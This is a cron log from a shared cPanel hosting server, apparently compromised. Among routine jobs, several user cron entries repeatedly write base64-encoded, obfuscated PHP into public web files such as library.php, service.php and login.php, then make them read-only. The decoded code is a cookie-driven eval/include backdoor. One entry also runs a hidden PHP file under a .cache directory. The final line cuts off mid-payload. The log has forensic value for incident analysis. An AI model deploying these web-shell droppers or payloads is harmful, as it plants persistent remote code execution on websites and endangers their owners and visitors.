Mar  2 03:06:01 medusa CROND[19768]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:06:01 medusa CROND[19778]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:06:01 medusa CROND[19779]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:06:01 medusa CROND[19780]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:07:01 medusa CROND[26730]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:07:01 medusa CROND[26856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:07:01 medusa CROND[26857]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:07:01 medusa CROND[26858]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:07:01 medusa CROND[26860]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:07:01 medusa CROND[26859]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:07:01 medusa CROND[26861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:07:01 medusa CROND[26862]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:07:01 medusa CROND[26863]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:07:01 medusa CROND[26864]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:07:01 medusa CROND[26869]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:07:01 medusa CROND[26873]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:08:01 medusa CROND[32218]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 03:08:01 medusa CROND[32341]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:08:01 medusa CROND[32342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:08:01 medusa CROND[32346]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:08:01 medusa CROND[32349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:08:01 medusa CROND[32350]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:08:01 medusa CROND[32351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:08:01 medusa CROND[32353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:08:01 medusa CROND[32352]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:08:01 medusa CROND[32357]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:08:01 medusa CROND[32360]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0N